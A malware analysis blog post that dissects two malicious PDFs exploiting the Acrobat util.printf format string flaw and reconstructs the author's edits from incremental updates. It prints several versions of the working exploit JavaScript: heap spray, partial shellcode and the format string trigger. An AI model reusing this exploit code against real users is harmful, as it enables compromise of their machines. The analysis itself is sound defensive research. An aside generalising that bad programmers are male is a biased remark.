

# SHOULDER SURFING A MALICIOUS PDF AUTHOR

Didier Stevens

Ever since I read about the incremental updates feature of the PDF file format, I've been patiently waiting for a malicious PDF document with incremental updates to come my way. Thanks to Bojan, that day has finally arrived.

The 2 malicious PDF documents I received (data.pdf and info.pdf) both exploit the same Acrobat JavaScript util.printf vulnerability.

data.pdf is very interesting to me: it's one PDF file containing 5 incremental updates, essentially bringing us an archeological record of the malware author's trial-and-error session. So let's start uncovering what the malware writer has been up to.

Looking at the type of objects inside data.pdf (with my PDF parser), we can see many startxref and xref objects:

```
Comment: 8
XREF: 10
Trailer: 10
StartXref: 6
Indirect object: 58
 36: 21, 39, 23, 24, 25, 27, 28, 29, 30, 31, 32, 34, 35, 36, 37, 8, 9, 10, 11,
12, 13, 14, 17, 17, 25, 51, 52, 17, 51, 54, 17, 51, 56, 17, 58, 59
/Catalog 1: 22
/ContentRegion 1: 16
/Encoding 1: 2
/Flow 1: 15
/Font 2: 3, 4
/Metadata 5: 7, 7, 7, 7, 7
/ObjStm 1: 5
/Outlines 1: 1
/Page 2: 26, 26
/Pages 1: 6
/XObject 1: 33
/XRef 5: 38, 53, 55, 57, 60
```

The metadata of data.pdf reveals that the guy (from personal experience, I know that most bad programmers are males) used Adobe Acrobat 8.1.0 to create this document in the early hours of Thursday November 6th 2008, and that his machine has timezone setting +01:00.

It took 52 minutes 32 seconds to create the first version of data.pdf. This version contains everything to execute a JavaScript script upon opening of the document, but the script to be executed is empty.

44 seconds later, a second version is created, containing this script:

# SHOULDER SURFING A MALICIOUS PDF AUTHOR

Didier Stevens

```
function main() {
var sccs = unescape( ""+" "+"u03eb%u"+"eb59%ue805%uf"+"ff8%uffff%u4949%u494

    var bgbl = unescape( "%u0A0A"+"%u0A0A" );
    var slspc = 20 + sccs.length;
    while(bgbl.length < slspc) bgbl += bgbl;
    var fblk = bgbl.substring(0,slspc);
    var blk = bgbl.substring(0,bgbl.length - slspc);
    while(blk.length + slspc < 0x60000) blk = blk + blk + fblk;

    var mmy = new Array();
    for(i = 0; i < 1200; i++) { mmy[i] = blk + sccs }

var nm = 12;
for(i = 0; i < 18; i++) { nm = nm + "9"; }
for(i = 0; i < 276; i++) { nm = nm + "8"; }

util.printf(unescape( ""+" "+"25%34%35%30%30%30%66" ), nm);
}

app.setTimeout( "main()", 3000 );
```

This script performs a heap spray (the most indented section of function main) of shellcode (contained in variable sccs) and then exploits the util.printf format string bug. This exploit is contained in function main, which should be triggered by app.setTimeout after 3 seconds. However, the use of setTimeout in this script is buggy (details can be found in Adobe's JS API Reference), and main() will never execute.

After 44 seconds, another version is created to try to get this exploit to work. He modified the call to setTimeout like this:

```
setTimeout( "main()", 3000 );
```

This is completely wrong, so after 4 minutes and 12 seconds (probably spend Googling for an answer as to why this doesn't work), he returns to the previous call, but now hopes that 5 seconds will do better than 3 seconds.

```
app.setTimeout( "main()", 5000 );
```

Of course, it doesn't. After one minute and a half, he gives up, and modifies the script to execute his exploit without delay:

# SHOULDER SURFING A MALICIOUS PDF AUTHOR

Didier Stevens

```
var sccs = unescape( ""+" "+"u03eb%u"+"eb59%ue805%uf"+"ff8%uffff%u4949%u4945

var bgb1 = unescape( "%u0A0A"+"%u0A0A" );
var slspc = 20 + sccs.length;
while(bgb1.length < slspc) bgb1 += bgb1;
var fblk = bgb1.substring(0,slspc);
var blk = bgb1.substring(0,bgb1.length - slspc);
while(blk.length + slspc < 0x60000) blk = blk + blk + fblk;

var rmy = new Array();
for(i = 0; i < 1200; i++){ rmy[i] = blk + sccs }

var nm = 12;
for(i = 0; i < 18; i++){ nm = nm + "9"; }
for(i = 0; i < 276; i++){ nm = nm + "8"; }

util.printf(unescape( ""+" "+"25%34%35%30%30%30%66" ), nm);
```

I can't say he's a sharp programmer or tenacious, but at least, he's result-driven...

Let's turn our attention to the second malicious PDF (info.pdf) I received. This file contains no incremental updates, but it's still interesting because it has the same origin as data.pdf. This file was created at exactly the same time, and contains the same identification (/ID[<DD95D438BE408D4FB12AC2FE7ED5E6C6><14FA8F4917ED8449B59BF6CFA41C39BD>]) as data.pdf. Most PDF applications add a unique ID to the trailer of every PDF document they create. info.pdf was saved a day later (about 37 hours later), and contains the same exploit script as data.pdf, but with an extra layer of JavaScript obfuscation.

Bojan confirmed he was the first to submit these files to Virustotal. I calculated the MD5 hashes for the different versions of data.pdf, but none were submitted to VT, so our guy didn't use VT for QA.

It was an interesting experience, "spying" on this malware author. Let's hope they don't stop using incremental updates, and that some of them will be careless enough to leave personal data hidden in their malicious PDF documents.

data.pdf MD5 1A8E5242F21727959683FA8CC7AA94AD

info.pdf MD5 23F31C83EE658BB5C2635BEFDE56199A